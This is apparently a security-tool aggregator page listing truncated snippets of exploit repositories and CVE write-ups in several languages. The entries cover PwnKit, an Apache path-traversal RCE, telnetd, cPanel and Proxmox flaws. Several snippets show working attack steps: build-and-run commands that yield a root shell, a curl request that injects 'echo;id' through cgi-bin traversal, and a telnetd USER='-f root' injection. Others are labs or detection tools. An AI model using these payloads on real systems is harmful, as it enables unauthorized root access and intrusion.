CVE-2021-4034

CVE-2021-4034 Exploit Usage root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Rough Patch root@kitploit:...

CVE-2021-4034

CVE-2021-4034 Exploit Root exploit for the PwnKit vulnerability. Check out the original report here. Use this exploit with an express permission of the target system's owners. Building No dependencies needed besides libc. Just run make. Running Running without options will execute the exploit:...

cve-2021-41773

cve-2021-41773 Run the Server $ docker build -t cve-2021-41773 . $ docker run --rm -d -p 80:80 cve-2021-41773 Exploitation curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' Root Cause Misconfiguration in the httpd.conf file combined with Path traversal = RCE...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario Copiar contenido RAW y pegar en la consola Bash shell: Vulnerabilidad CVE-2021-4034 Gravedad 7.8 de fecha 18/11/2021, en el componente pkexec de Polkit https://gitlab.freedesktop.org/polkit/polkit/...

CVE-2026-31431

Probar, parchear, corregir: CVE-2026-31431 root@kitploit: Test:Check vuln python3 -c 'import socket;exec"try:s=socket.socketsocket.AFALG,socket.SOCKSEQPACKET,0;s.bind"aead","authencesnhmacsha256,cbcaes";print"vulnerable"\nexcept:print"not vulnerable""' root@kitploit: check if module Check...

CVE-2021-30853

CVE-2021-30853 一个用于测试影响 MacOS 的 CVE-2021-30657 的简单 POC 脚本。 该 CVE 允许绕过 gatekeeper、notarization 和 xprotect 检查。 漏洞详情 当你在可执行 bundle 的主脚本第一行（shebang）中未定义解释器（或指定一个本身是 shell 脚本的解释器）时，就会出现此漏洞。这将导致 xpcproxy 调用 posixspawnp 来启动无解释器的基于脚本的应用程序。这最初会报错（无解释器 → ENOEXEC），但随后 posixspawnp 会“恢复”并（重新）执行该脚本……这次直接通过...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix 针对通过 CVE-2026-41940 及 nuclear.x86 僵尸网络攻击活动被入侵的 cPanel/WHM 服务器的一键检测与修复工具。 这是什么 2026年4月28日 ，cPanel 披露了一个影响所有 11.40 之后受支持的 cPanel 与 WHM 版本 的预认证 身份验证绕过漏洞（CVE-2026-41940，CVSS 9.8）。攻击者只需向 2087 端口发送一个 HTTP 请求，即可在未认证的情况下注入 user=root 会话并直接进入 WHM。 该漏洞的利用在野外至少自 2026年2月23日...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker 实验环境 本仓库是一个小型 Docker 实验环境，用于对比 MCPJam Inspector 针对 CVE-2026-23744 的易受攻击版本与已修补版本 。 它旨在用于学习和构建公开安全作品集：快速搭建、清晰的证据和截图。 ⚠️ 伦理/范围 ：仅在你拥有或获得明确测试许可的系统上进行测试。本仓库仅用于本地复现和文档记录。 本实验环境演示的内容 易受攻击版本（1.4.2） 在容器内监听 0.0.0.0:6274 （如果发布端口，则可通过网络访问）。 已修补版本（1.4.3） 在容器内监听...

CVE-2025-32463

CVE-2025-32463 - 设置与执行指南 这是我第一次将恶意漏洞利用移植到 Nuclei 模板中，用于非侵入式漏洞扫描，同时仍能演示底层问题。 我特意将这一过程记录得更加详细，作为一次学习练习。 我遇到的主要挑战是： 如何将原始漏洞利用代码修改为安全版本，使其能够有效测试权限提升，而不会像原始漏洞利用那样获取 root shell。 在使用代码引擎时，我遇到了一些 Nuclei 模板语法问题。我不习惯以这种方式创建模板，因此多次因为需要签署模板并包含 -itags local 参数而受阻，因为本地标签在 .nuclei-ignore 设置中默认被忽略。 我不确定在模板内编译 C...

DShield-SIEM

使用 Elasticsearch 进行 DShield 传感器日志收集 简介 这是对 Scott Jensen 在 ISC Storm Center 网站上以 BACS 论文形式首次发布的内容及其在 Github 上发布的脚本的一个分支和重大更新。 https://github.com/fkadriver/Dshield-ELK https://isc.sans.edu/diary/DShield+Sensor+Monitoring+with+a+Docker+ELK+Stack+Guest+Diary/30118 这是一份关于如何使用 DShield-SIEM...

CVE-2026-PSA-2026-00043-1

PSA-2026-00043-1 CVE-2026-PSA-2026-00043-1 Proxmox VE 7.0–8.0.3：未经身份验证的单请求 root 认证绕过 捐赠 帮助维护此项目 如果您觉得此项目有用，请考虑通过 PayPal 或 ABA Mobile 支持其持续维护。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 每笔捐赠的百分之十将捐献给坤塔宝花儿童医院。 | 选择支付方式 使用 ABA Mobile 扫描 · 点击放大 ---|--- ⚡ 简单用法 直接从...

CVE-2026-85031 TOTOLINK CP450 cstecgi.cgi buffer overflow

A vulnerability was found in TOTOLINK CP450 4.1.0. The impacted element is an unknown function of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument topicurl results in buffer overflow. Remote exploitation of the attack is possible...

CVE-2026-85031

TOTOLINK CP450 firmware version 4.1.0 contains a buffer overflow in an unknown function of /cgi-bin/cstecgi.cgi, triggered by manipulating the topicurl argument. Remote exploitation is possible. The vulnerability is rated CVSS 3.1: 9.9 (Critical) with a scope change and high impact to confidentia...

EUVD-2026-70313

A vulnerability was found in TOTOLINK CP450 4.1.0. The impacted element is an unknown function of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument topicurl results in buffer overflow. Remote exploitation of the attack is possible...

CVE-2026-85031 TOTOLINK CP450 cstecgi.cgi buffer overflow

A vulnerability was found in TOTOLINK CP450 4.1.0. The impacted element is an unknown function of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument topicurl results in buffer overflow. Remote exploitation of the attack is possible...

CVE-2021-4034

CVE-2021-4034 Polkit 的 Pkexec CVE-2021-4034 概念验证与补丁 已在完全修补的 Ubuntu 21.10 上确认 PoC 修补 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 已在完全修补的 Ubuntu 21.10 上确认： PoC： root@kitploit: / 编译：gcc...

copyfail

概述 Copy Fail CVE-2026-31431 — 是 Linux 内核中的一个逻辑漏洞，允许本地非特权用户将权限提升至超级用户（root）。该漏洞属于 本地权限提升（Local Privilege Escalation, LPE） 类别，不需要复杂的利用条件（如竞态条件或内存地址猜测），并且可以在 2017 年之后发布的大多数 Linux 发行版上"开箱即用"。 本仓库包含 原始 Python 漏洞利用程序的 C 语言移植版本 ，带有详细注释，适用于静态编译和在最小化环境中使用。 目录 漏洞 漏洞本质 利用机制 受影响系统 漏洞利用程序 C 移植版特点 编译 使用 工作原理...

CVE-2026-24061

CVE-2026-24061 - telnetd 认证绕过 这是什么 telnetd（来自 GNU InetUtils）中的参数注入漏洞。受影响版本为 1.9.3 至 2.7。CVSS 评分为 9.8。自 2026 年 1 月 26 日起被列入 CISA KEV，意味着该漏洞已在野外被积极利用。 整个技巧在于 telnetd 通过 NEW-ENVIRON（RFC 1572）从客户端获取环境变量 USER 的值，并将其未经任何验证直接拼接到 login1 的调用中。如果客户端发送 USER="-f root"，telnetd 将执行： root@kitploit: /usr/bin/log...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可获得 root shell。 原始作者的安全公告见此处 PoC 如果利用成功，你将立即获得一个 root shell： root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...